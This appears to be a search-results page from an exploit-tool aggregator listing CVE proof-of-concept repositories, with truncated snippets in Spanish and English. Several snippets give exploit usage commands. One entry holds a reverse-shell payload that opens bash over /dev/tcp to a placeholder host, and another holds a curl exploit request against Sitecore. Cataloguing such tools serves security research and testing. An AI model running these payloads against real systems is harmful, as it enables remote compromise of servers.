625450 matches found
CVE-2024-44902-env
CVE-2024-44902 - ThinkPHP Insecure Deserialization RCE Entorno vulnerable para la validación de nuclei-templates. Detalles de la Vulnerabilidad...
CVE-2022-26134
CVE-2022-26134 ATLASSIAN-Confluence RCE Instalación root@kitploit: git clone https://github.com/kelemaoya/CVE-2022-26134.git cd CVE-2022-26134 pip3 install -r requirements.txt Uso URL individual pocsuite -r ../CVE-2022-26134.py -u url --verify URL múltiples pocsuite -r ../CVE-2022-26134.py -f...
nginx-rce-cve-2026-42945
5. CVE-2026-42945 - RCE Crítico en NGINX CVSS 9.2 Clasificación Categoría: 0-Day / Ejecución Remota de Código CVE: CVE-2026-42945 CVSS: 9.2 Crítico Fecha de descubrimiento: 12 de mayo de 2026 Fecha de parche: Mayo de 2026 parche de seguridad trimestral de F5 Fuente: GitHub...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...
CVE-2021-26084
CVE-2021-26084 CVE-2021-26084 - Confluence Pre-Auth RCE | OGNL injection Install requirements root@kitploit: pip3 install -r requirements.txt Run exploit root@kitploit: USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3 exploit.py...
POC_CVE-2026-46716
CVE-2026-46716 — Nezha Monitoring Cross-Tenant RCE via Cron API Authorization Bypass A lab environment for reproducing and detecting CVE-2026-46716 , a critical vulnerability in Nezha Monitoring where the POST /api/v1/cron endpoint lacks admin privilege checks, allowing RoleMember users to achiev...
CVE-2023-48849
CVE-2023-48849 Ruijie EG Series Routers firmware =EG3.01B11P216 allows unauthenticated attackers to remotely execute arbitrary code due to incorrect filtering. root@kitploit: $ python3 poc.py 192.168.1.1 'id' uid=0root gid=0root $ python3 poc.py 192.168.1.1 'grep TARGET /etc/openwrtrelease'...
CVE-2026-33017-langflow-rce
CVE-2026-33017 — Langflow Unauthenticated Remote Code Execution RCE Overview CVE ID: CVE-2026-33017 Affected Software: Langflow Vulnerable Versions: = 1.9.0 Severity: Critical Author: r3nsi15 Date: 2026 Description Langflow exposes a public flow build endpoint /api/v1/buildpublictmp/flowID/flow...
CVE-2025-55182-in-go
CVE-2025-55182 — RCE en React Server Components Exploit para RCE en React Server Components mediante contaminación de prototipos. Uso root@kitploit: go run main.go -t -c Ejemplos root@kitploit: go run main.go -t http://127.0.0.1 -c "id" go run main.go -t http://127.0.0.1 -c "ls -la" go run main.g...
Log4Jolokia
Log4Jolokia Descripción: Implementación en Python3 para aprovechar y explotar MBeans de Log4J a través de Jolokia Uso: Ayuda genérica: root@kitploit: usage: log4jolokia.py -h -u USER -p PASSWD --proxy PROXY -H HEADER execjar,writefile,readfile,execscript execjar,writefile,readfile,execscript...
CVE-2025-24367
CVE-2025-24367 CVE-2025-24367 - Cacti Authenticated Graph Template RCE...
CVE-2026-39387
CVE-2026-39387 — BoidCMS Authenticated File Upload to RCE via Template Injection Description BoidCMS = 2.1.2 allows an authenticated attacker to achieve Remote Code Execution RCE by combining two weaknesses: 1. Unrestricted file upload — the media upload endpoint accepts files with image MIME typ...
CVE-2023-50164-PoC
CVE-2023-50164 PoC This repository is a proof of concept PoC of the CVE-2023-50164 vulnerability. 1. About CVE-2023-50164 CVE-2023-50164 is a file path traversal vulnerability that occurs in Apache Struts web application. An attacker could exploit this vulnerability to upload malicious file...
CVE-2019-14811-in-pdf-exploit
CVE-2019-14811 GhostScript PDF preview Exploit PoC This exploit targets CVE-2019-14811 in GS environments where PostScript output is not reflected, but is executed such as PDF previews via png images. Exploit renders commands directly in pngXXm preview, it is based on...
CVE-2024-4577
CVE-2024-4577 Declaración Esta herramienta se utiliza únicamente para la investigación de seguridad personal y el aprendizaje. Cualquier consecuencia directa o indirecta, así como las pérdidas derivadas de la difusión o el uso de esta herramienta, serán responsabilidad exclusiva del usuario. El...
CVE-2025-30065
💥 CVE-2025-30065 - Parquet Deserialization PoC This project demonstrates a safe proof-of-concept for CVE-2025-30065 using Apache Parquet and Java deserialization. When a Parquet file containing a serialized Java object is read, the payload executes a visible command to prove code execution. 📦 Usa...
CVE-2024-50498
CVE-2024-50498 Affected Version WP Query Console =1.0 Credit https://github.com/RandomRobbieBF/CVE-2024-50498 Premise Query Type is WPQuery and WP Query Console executes some php functions Usage python .\CVE-2024-50498.py 192.168.41.163 --query "id"...
CVE-2026-48030
CVE-2026-48030 — Inyección de comandos del sistema operativo en Pheditor Resumen...
CVE-2024-39205-Pyload-RCE
CVE-2024-39205-Pyload-RCE Pyload RCE with js2py sandbox escape Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Fix Upgrade to the newest version of pyload-...
CVE-2023-35813_PoC
curl -k -v -X POST "https://target/sitecorexaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "ISEVENT=1" --data-urlencode "SOURCE=" --data-urlencode "PARAMETERS=ParseControl" ""...